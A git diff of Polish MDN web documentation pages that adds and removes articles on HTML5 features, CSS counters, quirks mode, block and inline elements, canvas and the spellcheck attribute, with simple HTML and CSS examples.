Pozwala serwerowi na "własnowolne" wysyłanie zdarzeń do klienta, inaczej niż w przypadku klasycznego paradygmatu, w którym serwer mógł wysyłać dane tylko w odpowiedzi na zapytanie klienta.
+
WebRTC
+
Ta technologia, w której RTC oznacza Komunikację Czasu Rzeczywistego(Real-Time Communication), pozwala na łączenie się z innymi i kontrolowanie wideokonferencji bezpośrednio z przeglądarki, bez potrzeby korzystania z wtyczek lub zewnętrznych aplikacji.
+
+ +

Tryb Offline i przechowywanie

+ +
+
Zasoby offline: pamięć cache aplikacji
+
Firefox w pełni wspiera specyfikację zasobów offline HTML5. Większość innych przeglądarek wspiera ją w podobnym stopniu.
+
Zdarzenia online i offline
+
Firefox 3 wspiera zdarzenia WHATWG online i offline, dzięki czemu aplikacje i dodatki mogą wykryć czy istnieje aktywne połączenie internetowe, a także wykrywać kiedy połączenie wygaśnie i kiedy jest aktywne.
+
Sesje WHATWG po stronie klienta i trwałe przechowywanie (aka Magazyn DOM)
+
Sesje po stronie klienta i trwałe magazynowanie pozwalają aplikacjom sieciowym przechowywać dane strukturalne po stronie klienta.
+
IndexedDB
+
IndexedDB jest sieciowym standardem przechowywania znacznych ilości danych strukturalnych w przeglądarce i wysokiej wydajności wyszukiwania w tych danych za pomocą indeksów.
+
Używanie plików z aplikacji internetowych
+
Wsparcie dla nowego API plików HTML5 zostało dodane do Gecko, tworząc możliwość dostępu aplikacji internetowych do plików lokalnych wybranych przez użytkownika. Obejmuje też wsparcie dla wielokrotnego wyboru plików z użyciem {{HTMLElement("input")}} z atrybutem type file i nowym atrybutem elementu: multiple. Istnieje także FileReader.
+
+ +

Multimedia

+ +
+
Zastosowanie elementów audio i video w HTML5
+
Znaczniki {{HTMLElement("audio")}} i {{HTMLElement("video")}} pozwalają osadzać i manipulować nowymi zawartościami multimedialnymi.
+
WebRTC
+
Ta technologia, w której RTC oznacza Komunikację Czasu Rzeczywistego(Real-Time Communication), pozwala na łączenie się z innymi i kontrolowanie wideokonferencji bezpośrednio z przeglądarki, bez potrzeby korzystania z wtyczek lub zewnętrznych aplikacji.
+
Używanie API kamery internetowej
+
Pozwala używać, manipulować i przechowywać obrazy z kamerki komputerowej.
+
Track and WebVTT
+
Znacznik {{HTMLElement("track")}} pozwala  tworzyć napisy i rozdziały. WebVTT jest formatem ścieżek tekstowych.
+
+ +

EFEKTY I GRAFIKA 3D

+ +
+
Przewodnik po Canvas
+
Informacje o nowym elemencie {{HTMLElement("canvas")}} wraz z opisem jak działa użyty do rysowania grafik i obiektów w Firefoksie.
+
HTML5 text API dla elementów <canvas>
+
HTML5 text API jest teraz wspierane przez elementy {{HTMLElement("canvas")}}.
+
WebGL
+
WebGL przenosi grafikę 3D do sieci poprzez wprowadzenie API, które ściśle odpowiada OpenGl ES 2.0 i może być używane w znacznikach HTML5 {{HTMLElement("canvas")}}.
+
SVG (Scalable Vector Graphics) - skalowalna grafika wektorowa
+
Bazujący na XML-u format grafiki wektorowej, który może być bezpośrednio osadzony w HTML-u.
+
+ +
+

WYDAJNOŚĆ i iNTEGRACJA

+ +
+
Web Workers
+
Umożliwia przekazanie działania JavaScript do wątków w tle, dzięki czemu zapobiega spowalnianiu wydarzeń interaktywnych.
+
XMLHttpRequest Poziom 2
+
Umożliwia asynchroniczne pobieranie części strony, co umożliwia wyświetlanie elementów dynamicznych, zmieniających się w zależności od czasu i działań użytkownika. Jest to "następca" Ajax-a.
+
JIT-compiling JavaScript engines (kompilowalne silniki JavaScript)
+
Nowa generacja silników JavaScript jest o wiele potężniejsza i ma świetną wydajność.
+
API do obsługi przycisku wstecz (History API)
+
Pozwala manipulować historią przeglądania. Jest użyteczne zwłaszcza na stronach ładujących interaktywnie nowe informacje.
+
Atrybut contentEditable: przekształć swoją stronę w encyklopedię!
+
HTML5 ustandaryzował atrybut contentEditable. Dowiedz się więcej o tej właściwości.
+
Przeciągnij i upuść
+
API 'przeciągnij i upuść' w HTML5 wspiera przeciąganie i upuszczanie elementów wewnątrz strony i pomiędzy stronami. Upraszcza to także API dla dodatków i aplikacji bazujących na technologiach Mozilli.
+
Zarządzanie aktywnością w HTML
+
Nowe atrybuty HTML5 activeElement i hasFocus są już wspierane.
+
Obsługa protokołów opartych na sieci
+
Możesz teraz zarejestrować aplikacje internetowe jako obsługę protokołów używając funkcji navigator.registerProtocolHandler().
+
requestAnimationFrame
+
Pozwala kontrolować renderowanie animacji dla uzyskania optymalnej wydajności.1
+
Pełnoekranowe API
+
Kontroluje użycie całego ekranu dla stron internetowych lub aplikacji sieciowych bez wyświetlania UI przeglądarki.
+
Blokowanie kursora
+
Powala zablokować wskaźnik do zawartości, więc  gry i podobne aplikacje nie utracą aktywności kiedy kursor będzie na granicy okna.
+
Zdarzenia online i offline
+
Aby stworzyć dobrze obsługującą tryb offline aplikację internetową trzeba wiedzieć, kiedy aplikacja jest rzeczywiście offline. Prawdę mówiąc, musisz wiedzieć też, kiedy aplikacja powróci do stanu online.
+
+ +

DOSTĘP DO URZĄDZENIA

+ +
+
+
Używanie API kamery internetowej
+
Pozwala używać, manipulować i przechowywać obrazy z kamerki komputerowej.
+
Zdarzenia dotykowe
+
Narzędzia do obsługi zdarzeń tworzonych przez użytkownika używającego ekranu dotykowego.
+
Geolokacja
+
Pozwól przeglądarce zlokalizować pozycję użytkownika przy użyciu geolokacji.
+
Wykrywanie orientacji urządzenia
+
Pobierz informację o zmianie orientacji urządzenia na którym pracuje przeglądarka. Może ona być użyta jako urządzenie wejściowe( np w grach reagujących na zmianę pozycji urządzenia) lub służyć przystosowaniu layoutu strony do aktualnej orientacji urządzenia (portrait lub landscape)
+
+
Blokowanie kursora
+
Powala zablokować wskaźnik do zawartości, więc  gry i podobne aplikacje nie utracą aktywności kiedy kursor będzie na granicy okna.
+
+ +

stylizacja

+ +

CSS zostało rozszerzone, aby móc o wiele wygodniej stylizować elementy. Jest często nazywane CSS3, choć CSS nie jest monolitycznym tworem, w którym wszystkie elementy są na poziomie 3. Część jest na poziomie 1, część na 4, Lub którymś z poziomów pośrednich.

+ +
+
Nowe właściwości stylizacji tła
+
Teraz jest możliwe dodanie cienia do box-ów używając {{cssxref("box-shadow")}}, a także można ustawić wielokrotne tło.
+
Bardziej fantazyjne obramowania
+
Teraz nie tylko możliwe jest stylizowanie obramowań za pomocą obrazów, używając {{cssxref("border-image")}} i związanych z pismem odręcznym właściwościami, ale także zaokrąglenia obramowań są wspierane przez właściwość {{cssxref("border-radius")}}.
+
Wpraw w ruch swój styl
+
Używając Przejść CSS do animacji przejść pomiędzy różnymi stanami lub używając Animacji CSS do animowania części strony, bez zdarzenia wywołującego, możesz teraz kontrolować elementy interaktywne na twojej stronie.
+
Poprawa typografii Typography improvement
+
Autorzy mają większą kontrolę dla osiągnięcia lepszej typografii. Mogą kontrolować {{cssxref("text-overflow")}} i dzielenie wyrazów, a także mogą dodawać cienie i precyzyjniej kontrolować dekoracje tekstu. Niestandardowe kroje można pobrać i zastosować za pomocą {{cssxref("@font-face")}}.
+
Nowe, prezentacyjne layouty
+
W celu polepszenia elastyczności designów zostały dodane dwa nowe layouty: CSS multi-column layout(wielokolumnowy layout CSS) i CSS flexible box layout(layout elastycznego pudełka CSS).
+
+
+
+ +
+
+
diff --git a/files/pl/web/guide/liczniki_css/index.html b/files/pl/web/guide/liczniki_css/index.html deleted file mode 100644 index 3c494e6af3..0000000000 --- a/files/pl/web/guide/liczniki_css/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Liczniki CSS -slug: Web/Guide/Liczniki_CSS -tags: - - CSS - - Wszystkie_kategorie -translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters ---- -

 

- -

Podsumowanie

- -

Liczniki w CSS zostały opisane w sekcji Automatic counters and numbering dokumentacji CSS 2.1. Wartość licznika jest ustawiana poprzez użycie własności counter-reset oraz counter-increment, natomiast wyświetlana jest przy wykorzystaniu funkcji counter() lub counters() należących do własności content.

- -

Zastosowanie liczników

- -

Aby użyć licznika CSS, należy najpierw ustawić mu wartość (domyślnie jest to 0) przy pomocy własności reset. Aby wyświetlić wartość licznika w danym elemencie należy skorzystać z funkcji counter(). Poniższy przykład dodaje na początku każdego elementu h1 "Sekcja wartość licznika:".

- -
  body {
-    counter-reset: sekcja;           /* Ustawienie licznika sekcja na 0 */
-  }
-  h1::before {
-    counter-increment: sekcja;               /* Zwiększa licznik sekcja */
-    content: "Sekcja " counter(sekcja) ": ";       /* Wyświetla licznik */
-  }
-
- -

Zagnieżdżanie liczników

- -

Liczniki CSS mogą być szczególnie użyteczne przy listach uporządkowanych (ol), ponieważ nowa instancja licznika CSS jest automatycznie tworzona dla potomków danego elementu. Użycie funkcji counters() pozwala na dodanie ciągu znaków, który będzie oddzielał kolejne poziomy zagnieżdżonych liczników:

- -
  ol {
-    counter-reset: sekcja;                /* Tworzy nową instancję licznika
-                                             sekcja w każdym elemencie ol */
-    list-style-type: none;                /* Usuwa domyślnie wyświetlany licznik */
-  }
-  li::before {
-    counter-increment: sekcja;            /* Zwiększa tylko tę instancję
-                                             licznika sekcja */
-    content: counters(sekcja, ".") " ";   /* Wyświetla wartości wszystkich
-                                             instancji licznika sekcja,
-                                             oddzielając je ciągiem ".". */
-  }
-
- -

Przykładowy HTML (w komentarzach podano wartość wygenerowanego licznika):

- -
<ol>
-  <li>item</li>          <!-- 1     -->
-  <li>item               <!-- 2     -->
-    <ol>
-      <li>item</li>      <!-- 2.1   -->
-      <li>item</li>      <!-- 2.2   -->
-      <li>item           <!-- 2.3   -->
-        <ol>
-          <li>item</li>  <!-- 2.3.1 -->
-          <li>item</li>  <!-- 2.3.2 -->
-        </ol>
-        <ol>
-          <li>item</li>  <!-- 2.3.1 -->
-          <li>item</li>  <!-- 2.3.2 -->
-          <li>item</li>  <!-- 2.3.3 -->
-        </ol>
-      </li>
-      <li>item</li>      <!-- 2.4   -->
-    </ol>
-  </li>
-  <li>item</li>          <!-- 3     -->
-  <li>item</li>          <!-- 4     -->
-</ol>
-<ol>
-  <li>item</li>          <!-- 1     -->
-  <li>item</li>          <!-- 2     -->
-</ol>
-
- -

Zobacz także

- - - -

potrzebna treść do artykułu

- -

{{ languages( { "en": "en/CSS_Counters", "fr": "fr/Compteurs_CSS" } ) }}

diff --git a/files/pl/web/html(pl)/index.html b/files/pl/web/html(pl)/index.html deleted file mode 100644 index 2bc10ea70b..0000000000 --- a/files/pl/web/html(pl)/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: 'HTML: Hipertekstowy Język Znaczników' -slug: Web/HTML(PL) -tags: - - HTML - - HTML5 - - Landing - - Web - - 'l10n:priority' -translation_of: Web/HTML ---- -
{{HTMLSidebar}}
- -

HTML (HyperText Markup Language) jest najbardziej podstawowym elementem składowym sieci Web. Definiuje on znaczenie i strukturę treści stron internetowych. Inne technologie poza HTML są używane do opisu wyglądu/prezentacji strony internetowej (CSS) lub funkcjonalności/zachowania (JavaScript).

- -

"Hipertekst" (HyperText) odnosi się do linków łączących ze sobą strony internetowe, zarówno w obrębie jednej strony internetowej, jak i pomiędzy różnymi stronami internetowymi. Linki są podstawowym aspektem sieci Web. Umieszczając treści w Internecie i linkując je do stron stworzonych przez inne osoby, stajesz się aktywnym uczestnikiem sieci World Wide Web.

- -

HTML używa "znaczników" do opisywania tekstu, obrazów i innych treści do wyświetlania w przeglądarce internetowej. Znacznik HTML zawiera specjalne "elementy", takie jak {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}} i wiele innych.

- -

Element HTML jest odróżniany od zwykłego tekstu w dokumencie za pomocą "tagów", które składają się z nazwy elementu otoczonego przez "<" oraz ">". Nazwa elementu wewnątrz znacznika nie rozróżnia wielkości liter. Oznacza to, że może być napisana wielkimi, małymi lub zmieszanymi literami. Na przykład tag <title> może być zapisany jako <Title>,<TITLE> lub w inny sposób.

- -

Poniższe artykuły pomogą Ci dowiedzieć się więcej o HTML.

- -
- - -
-
-

Poradniki dla początkujących

- -

Nasza Strefa Nauki HTML zawiera wiele modułów, które uczą HTML od podstaw - nie jest wymagana wcześniejsza wiedza.

- -
-
Wprowadzenie do HTML
-
Ten moduł jest etapem, który pozwala przyzwyczaić się do ważnych pojęć i składni, takich jak spojrzenie na zastosowanie HTML dla tekstu, jak tworzyć hiperłącza i jak używać HTML do strukturyzacji strony internetowej.
-
- -
-
Multimedia i osadzanie
-
Moduł ten wyjaśnia jak używać HTML do umieszczania multimediów na stronach internetowych, w tym różnych sposobów na dodawanie obrazów oraz osadzanie wideo, audio, a nawet całych innych stron internetowych.
-
Tabele HTML
-
Przedstawienie danych tabelarycznych na stronie internetowej w zrozumiały i dostępny sposób może być wyzwaniem. Moduł ten obejmuje podstawowe znaczniki tabelaryczne wraz z bardziej złożonymi funkcjami, takimi jak implementacja podpisów i podsumowań.
-
Formularze HTML
-
Formularze są bardzo ważną częścią sieci Web — zapewniają one wiele funkcji potrzebnych do interakcji z witrynami internetowymi, np. rejestracja i logowanie, wysyłanie opinii, kupowanie produktów i wiele więcej. Ten moduł przygotuje Cię do rozpoczęcia tworzenia części formularzy po stronie klienta/front-end.
-
Użyj HTML do rozwiązywania częstych problemów
-
Zawiera linki do sekcji wyjaśniających, jak używać HTML do rozwiązywania bardzo powszechnych problemów przy tworzeniu strony internetowej: radzenie sobie z tytułami, dodawanie zdjęć lub filmów, podkreślanie treści, tworzenie podstawowej formy, itp.
-
- -

Zaawansowane zagadnienia

- -
-
CORS z włączoną funkcją obrazów
-
Atrybut {{htmlattrxref("crossorigin", "img")}}, w połączeniu z odpowiednim nagłówkiem {{glossary("CORS")}}, pozwala na ładowanie obrazów zdefiniowanych przez element {{HTMLElement("img")}} z innych źródeł i używanie ich w elemencie {{HTMLElement("canvas")}} tak, jakby były ładowane z lokalnego źródła.
-
Ustawienia atrybutów CORS
-
Niektóre elementy HTML, które zapewniają wsparcie dla CORS, takie jak {{HTMLElement("img")}} lub {{HTMLElement("video")}}, posiadają atrybut crossorigin (właściwość crossOrigin), który umożliwia konfigurację żądań CORS dla wczytywanych przez ten element danych.
-
Zarządzanie metodą focus w HTML
-
Atrybut activeElement w DOM i metoda hasFocus() w DOM pomagają śledzić i kontrolować interakcje użytkownika z elementami na stronie internetowej.
-
Korzystanie z pamięci podręcznej aplikacji
-
Buforowanie aplikacji umożliwia uruchamianie aplikacji internetowych w trybie offline. Możesz użyć interfejsu Application Cache (AppCache) aby określić zasoby, które przeglądarka powinna buforować i udostępniać użytkownikom offline. Aplikacje, które są buforowane i działają poprawnie, nawet jeśli użytkownicy kliknęli przycisk odświeżania, gdy są w trybie offline.
-
Wstępne ładowanie treści z rel="preload"
-
Wartość preload atrybutu {{htmlattrxref("rel", "link")}} elementu {{htmlelement("link")}} pozwala na pisanie deklaratywnych żądań pobrania w sekcji {{htmlelement("head")}} dokumentu HTML, określając zasoby, które strony będą potrzebowały bardzo szybko po załadowaniu, których w związku z tym chcesz rozpocząć ładowanie od razu na początku cyklu życia strony, zanim uruchomi się główna maszyna renderująca w przeglądarce. Dzięki temu są one dostępne wcześniej i istnieje mniejsze ryzyko zablokowania pierwszego renderu strony, co prowadzi do poprawy wydajności. Ten artykuł zawiera podstawowy przewodnik po tym, jak działa ładowanie wstępne.
-
-
- -
-

Odniesienia

- -
-
Odniesienia HTML
-
HTML składa się z elementów, z których każdy może być modyfikowany przez pewną liczbę atrybutów. Dokumenty HTML są ze sobą połączone linkami.
-
Odniesienia do elementów HTML
-
Przeglądaj listę wszystkich {{glossary("Element", "elementów")}} {{glossary("HTML")}}.
-
Odniesienia do atrybutów HTML
-
Elementy w HTML mają atrybuty. Są to dodatkowe wartości, które konfigurują elementy lub dostosowują ich zachowanie na różne sposoby.
-
Atrybuty globalne
-
Atrybuty globalne mogą być definiowane na wszystkich elementach HTML, nawet tych, które nie zostały określone w standardzie. Oznacza to, że wszelkie niestandardowe elementy muszą nadal zezwalać na te atrybuty, nawet jeśli elementy te sprawiają, że dokument jest niezgodny z HTML5.
-
Elementy inline oraz Elementy block-level
-
Elementy HTML są zazwyczaj elementami "inline" lub "block-level". Element inline zajmuje tylko przestrzeń ograniczoną znacznikami, które go definiują. Element block-level zajmuje całą przestrzeń elementu nadrzędnego (kontenera), tworząc w ten sposób "blok".
-
Rodzaje odnośników
-
W HTML, różne typy linków mogą być użyte do nawiązania i zdefiniowania relacji pomiędzy dwoma dokumentami. Elementy odnośników, na których można ustawiać typy to {{HTMLElement("a")}}, {{HTMLElement("area")}} oraz {{HTMLElement("link")}}.
-
Formaty multimedialne obsługiwane przez elementy audio i wideo
-
Elementy {{HTMLElement("audio")}} oraz {{HTMLElement("video")}} umożliwiają odtwarzanie multimediów audio i wideo. Elementy te stanowią alternatywę dla podobnych funkcji w Adobe Flash i innych wtyczkach.
-
Rodzaje treści w HTML
-
HTML składa się z kilku rodzajów treści, z których każda może być używana w określonych kontekstach, a w innych jest niedozwolona. Podobnie, każda z nich posiada zestaw innych kategorii zawartości, które mogą zawierać oraz elementy, które mogą lub nie mogą być w nich użyte. To jest przewodnik po tych kategoriach.
-
Tryb Quirks oraz tryb standardów
-
Historyczne informacje o trybie quirks i trybie standardów.
-
- -

Tematy powiązane

- -
-
Zastosowanie koloru do elementów HTML przy użyciu CSS
-
W tym artykule omówiono większość sposobów na użycie CSS w celu dodania kolorów do zawartości HTML, wymieniając które części dokumentów HTML mogą być kolorowane i jakie właściwości CSS mogą być do tego użyte. Zawiera przykłady, odnośniki do narzędzi do budowania palet i wiele innych.
-
-
-
-Zobacz wszystkie...
diff --git a/files/pl/web/html(pl)/tryb_zgodnosci_oraz_tryb_standardow/index.html b/files/pl/web/html(pl)/tryb_zgodnosci_oraz_tryb_standardow/index.html deleted file mode 100644 index 72018a6571..0000000000 --- a/files/pl/web/html(pl)/tryb_zgodnosci_oraz_tryb_standardow/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Tryb Zgodności (Quirks Mode) i Tryb Standardów -slug: Web/HTML(PL)/Tryb_Zgodnosci_oraz_Tryb_Standardow -tags: - - Gecko - - Guide - - HTML - - NeedsUpdate - - Web Development - - Web Standards - - XHTML -translation_of: Web/HTML/Quirks_Mode_and_Standards_Mode ---- -

W dawnych czasach strony internetowe zwykle pisane były w dwóch wersjach: Jedna dla Netscape Navigator i jedna dla Microsoft Internet Explorer. Kiedy standardy sieciowe były tworzone w W3C, przeglądarki nie mogły po prostu zacząć z nich korzystać, ponieważ w ten sposób zniszczyłyby większość istniejących stron internetowych. W związku z tym przeglądarki wprowadziły dwa tryby traktowania nowych witryn zgodnych ze standardami w inny sposób niż witryn starej generacji.

- -

Obecnie w przeglądarkach internetowych stosowane są trzy tryby pracy silników układu graficznego: tryb zgodności (tryb quirks), tryb prawie standardowy oraz tryb pełnego standardu. W trybie zgodności układ emuluje niestandardowe zachowanie w Navigator 4 i Internet Explorer 5. Jest to niezbędne do obsługi stron internetowych, które powstały przed powszechnym przyjęciem standardów internetowych. W trybie pełnych standardów, zachowanie jest (miejmy nadzieję) zachowaniem opisanym przez specyfikacje HTML i CSS. W trybie prawie standardowym zaimplementowana jest bardzo mała liczba kompatybilności.

- -

Jak przeglądarki decydują, z którego trybu korzystać?

- -

W przypadku dokumentów HTML, przeglądarki używają DOCTYPE na początku dokumentu, aby zdecydować, czy obsługiwać go w trybie zgodności, czy też w trybie standardów. Aby zagwarantować, że strona korzysta z trybu pełnego standardu, upewnij się że strona ma DOCTYPE, tak jak w tym przykładzie:

- -
<!DOCTYPE html>
-<html lang="pl">
-  <head>
-    <meta charset="UTF-8">
-    <title>Witaj, Świecie!</title>
-  </head>
-  <body>
-  </body>
-</html>
- -

DOCTYPE pokazany w przykładzie, <!DOCTYPE html>, jest najprostrzy z możliwych i zalecany przez HTML5. Wcześniejsze wersje standardu HTML zalecały inne warianty, ale wszystkie istniejące obecnie przeglądarki będą korzystały z trybu pełnego standardu dla DOCTYPE, nawet z przestarzałego Internet Explorera 6. Nie ma uzasadnionych powodów, aby używać bardziej skomplikowanego DOCTYPE. Jeśli używasz innego DOCTYPE, możesz być narażony na ryzyko wybrania takiego, który uruchamia prawie standardowy tryb lub tryb zgodności.

- -

Upewnij się, że umieścisz DOCTYPE bezpośrednio na początku dokumentu HTML. Wszystko przed DOCTYPE, takie jak komentarz czy deklaracja XML, wyzwoli tryb zgodnści w Internet Explorerze 9 i starszych.

- -

W HTML5, jedynym celem DOCTYPE jest aktywowanie trybu pełnego standardu. Starsze wersje standardu HTML nadawały dodatkowe znaczenie DOCTYPE, ale żadna przeglądarka nie używała DOCTYPE do innych celów niż przełączanie pomiędzy trybem zgodności a trybem standardów.

- -

Zobacz również szczegółowy opis tego, kiedy różne przeglądarki wybierają różne tryby pracy.

- -

XHTML

- -

Jeśli podajesz swoją stronę jako XHTML używając application/xhtml+xml MIME type w Content-Type HTTP header, nie potrzebujesz DOCTYPE, aby włączyć tryb standardów. Należy jednak pamiętać, że podawanie stron jako application/xhtml+xml spowoduje, że Internet Explorer 8 wyświetli okno dialogowe pobierania nieznanego formatu zamiast wyświetlania strony, ponieważ pierwszą wersją Internet Explorera z obsługą XHTML jest Internet Explorer 9.

- -

Jeśli tworzysz treści w formacie XHTML używając text/html MIME type, przeglądarki przeczytają je jako HTML i będziesz potrzebował DOCTYPE do korzystania z trybu standardów.

- -

Jak sprawdzić, który tryb jest używany?

- -

W Firefoksie wybierz opcję View Page Info z menu kontekstowego i poszukaj trybu Render Mode.

- -

W Internet Explorerze naciśnij F12 i poszukaj Document Mode.

- -

Jakie są różnice pomiędzy trybami?

- -

Zobacz listę zgodności oraz tryb prawie standardowy, aby poznać różnice pomiędzy trybami.

diff --git a/files/pl/web/html/block-level_elements/index.html b/files/pl/web/html/block-level_elements/index.html new file mode 100644 index 0000000000..392dc43954 --- /dev/null +++ b/files/pl/web/html/block-level_elements/index.html @@ -0,0 +1,38 @@ +--- +title: Elementy blokowe +slug: Web/HTML/Elementy_blokowe +tags: + - HTML + - 'HTML:Opis_elementów' + - Wszystkie_kategorie +translation_of: Web/HTML/Block-level_elements +--- +

Podsumowanie

+

Elementy blokowe mogą wystąpić tylko w body. Od elementów liniowych odróżnia je: +

+
Zawartość elementu
Generalnie elementy blokowe mogą zawierać zarówno elementy liniowe jak i inne elementy blokowe. Elementy blokowe przeznaczone są do tworzenia większych struktur niż elementy liniowe. +
Formatowanie
Domyślnie elementy blokowe zaczynają się od nowej linii. +
+

Elementy

+

Poniżej znajduje się lista elementów "blokowych": +

+ +

Zobacz także

+ +
+
+{{ languages( { "en": "en/HTML/Block-level_elements", "ja": "ja/HTML/Block-level_elements" } ) }} diff --git a/files/pl/web/html/canvas/index.html b/files/pl/web/html/canvas/index.html deleted file mode 100644 index e4bf56c5e7..0000000000 --- a/files/pl/web/html/canvas/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Canvas -slug: Web/HTML/Canvas -translation_of: Web/API/Canvas_API ---- -
- {{outdated()}}
-
-

Canvas (<canvas>) jest nowym elementem HTML, który może być użyty do rysowania grafik przy użyciu skryptów (zazwyczaj JavaScript). Na przykład może być użyty do rysowania wykresów, tworzenia kompozycji fotografii lub do prostych (i nie tylko prostych) animacji.

-

Po raz pierwszy <canvas> został przedstawiony przez Apple dla Mac OS X Dashboard i później zaimplementowany w Safari. Przeglądarki oparte o silnik Gecko począwszy od wersji 1.8 (tj. Firefox 1.5 oraz późniejsze) obsługują ten nowy element. Również Opera 9 go wspiera. Czynione są starania, aby <canvas> był obsługiwany przez Internet Explorera (zobacz ).

-

Element <canvas> jest częścią specyfikacji WhatWG Web applications 1.0 znanej także jako HTML 5.

-
- - - - - - - -
-

Dokumentacja

-
-
- Rysowanie grafik za pomocą Canvas
-
- Wprowadzenie do <canvas>.
-
- Przewodnik po canvas
-
- <canvas> jest nowym elementem HTML, który może być użyty do rysowania grafik przy użyciu skryptów (zazwyczaj JavaScript). Na przykład może być użyty do rysowania wykresów, tworzenia kompozycji fotografii lub do prostych (i nie tylko prostych) animacji.
-
- Fragmenty kodu:Canvas
-
- Fragmenty kodu z użyciem <canvas>.
-
- Przykłady Canvas
-
- Lista różnych przykładów stosujących <canvas>.
-
- Rysowanie tekstu za pomocą Canvas
-
- Dokumentacja nowych własności <canvas> dostępnych począwszy od Firefoksa 3
-
-
-

Społeczność

- - - -
-

 

diff --git a/files/pl/web/html/element/comment/index.html b/files/pl/web/html/element/comment/index.html deleted file mode 100644 index 6c7c3b7187..0000000000 --- a/files/pl/web/html/element/comment/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: comment -slug: Web/HTML/Element/comment -tags: - - 'HTML:Opis_elementów' ---- -

 

- -

Podsumowanie

- -

Element HTML <!-- ... --> (komentarz) jest używany do oznaczania tekstu, który nie jest wyświetlany użytkownikowi. Znaczniki komentarza mogą otaczać tylko kilka słów lub całe fragmenty strony. W szczególności ciągi myślników (---) nie powinny się pojawiać wewnątrz znaczników komentarza.

- -

Przykład

- -
   <p>Spędziliśmy miłe chwile podczas naszych letnich wakacji. <!-- Opowiedzieć tutaj
-   o Wielkim Kanionie. --> Lecz naprawdę wspaniale jest wrócić.</p>
-
- -

Rezultat

- -

Spędziliśmy miłe chwile podczas naszych letnich wakacji. Lecz naprawdę wspaniale jest wrócić.

- -

Notatki

- -

Komentarze HTML są widziane przez końcowego użytkownika poprzez funkcję przeglądarki "Pokaż źródło", zatem nie powinny być używane do trzymania istotnych informacji.

- -

Zobacz także

- -

Specyfikacja HTML 4.01: Comments

- -

{{ HTML:Element_Navigation() }}

- -

{{ languages( { "en": "en/HTML/Element/comment" } ) }}

diff --git a/files/pl/web/html/elementy_blokowe/index.html b/files/pl/web/html/elementy_blokowe/index.html deleted file mode 100644 index 392dc43954..0000000000 --- a/files/pl/web/html/elementy_blokowe/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Elementy blokowe -slug: Web/HTML/Elementy_blokowe -tags: - - HTML - - 'HTML:Opis_elementów' - - Wszystkie_kategorie -translation_of: Web/HTML/Block-level_elements ---- -

Podsumowanie

-

Elementy blokowe mogą wystąpić tylko w body. Od elementów liniowych odróżnia je: -

-
Zawartość elementu
Generalnie elementy blokowe mogą zawierać zarówno elementy liniowe jak i inne elementy blokowe. Elementy blokowe przeznaczone są do tworzenia większych struktur niż elementy liniowe. -
Formatowanie
Domyślnie elementy blokowe zaczynają się od nowej linii. -
-

Elementy

-

Poniżej znajduje się lista elementów "blokowych": -

- -

Zobacz także

- -
-
-{{ languages( { "en": "en/HTML/Block-level_elements", "ja": "ja/HTML/Block-level_elements" } ) }} diff --git a/files/pl/web/html/elementy_liniowe/index.html b/files/pl/web/html/elementy_liniowe/index.html deleted file mode 100644 index f5cd417ec8..0000000000 --- a/files/pl/web/html/elementy_liniowe/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Elementy liniowe -slug: Web/HTML/Elementy_liniowe -tags: - - HTML - - 'HTML:Element' - - 'HTML:Élément(2)' - - Wszystkie_kategorie -translation_of: Web/HTML/Inline_elements ---- -

Podsumowanie

-

Elementy liniowe są elementami, które mogą wystąpić tylko w body. Od elementów blokowych odróżnia je: -

-
Zawartość elementu
Elementy liniowe mogą zawierać tylko tekst lub inne elementy liniowe. -
Formatowanie
Elementy liniowe nie tworzą nowego wiersza. -
-

Elementy

-

Poniżej znajduje się lista elementów "liniowych": -

- -

Zobacz także

- -
-
-{{ languages( { "en": "en/HTML/Inline_elements", "ja": "ja/HTML/Inline_elements", "ko": "ko/HTML/Inline_elements" } ) }} diff --git a/files/pl/web/html/global_attributes/pisownia/index.html b/files/pl/web/html/global_attributes/pisownia/index.html deleted file mode 100644 index ed230d2b07..0000000000 --- a/files/pl/web/html/global_attributes/pisownia/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: sprawdzanie pisowni -slug: Web/HTML/Global_attributes/pisownia -translation_of: Web/HTML/Global_attributes/spellcheck ---- -
{{HTMLSidebar("Global_attributes")}}
- -

The spellcheck global attribute is an enumerated attribute defines whether the element may be checked for spelling errors.

- -
{{EmbedInteractiveExample("pages/tabbed/attribute-spellcheck.html","tabbed-shorter")}}
- - - -

It may have the following values:

- - - -
-

Note: The spellcheck attribute is an enumerated one and not a Boolean one. This means that the explicit usage of one of the values true or false is mandatory, and that a shorthand like <textarea spellcheck></textarea> is not allowed. The correct usage is <textarea spellcheck="true"></textarea>.

-
- -

If this attribute is not set, its default value is element-type and browser-defined. This default value may also be inherited, which means that the element content will be checked for spelling errors only if its nearest ancestor has a spellcheck state of true.

- -

This attribute is merely a hint for the browser: browsers are not required to check for spelling errors. Typically non-editable elements are not checked for spelling errors, even if the spellcheck attribute is set to true and the browser supports spellchecking.

- -

Specifications

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', "interaction.html#spelling-and-grammar-checking", "spellcheck")}}{{Spec2('HTML WHATWG')}}No change from latest snapshot, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "editing.html#spelling-and-grammar-checking", "spellcheck")}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName('HTML WHATWG')}}, initial definition
- -

Browser compatibility

- - - -

{{Compat("html.global_attributes.spellcheck")}}

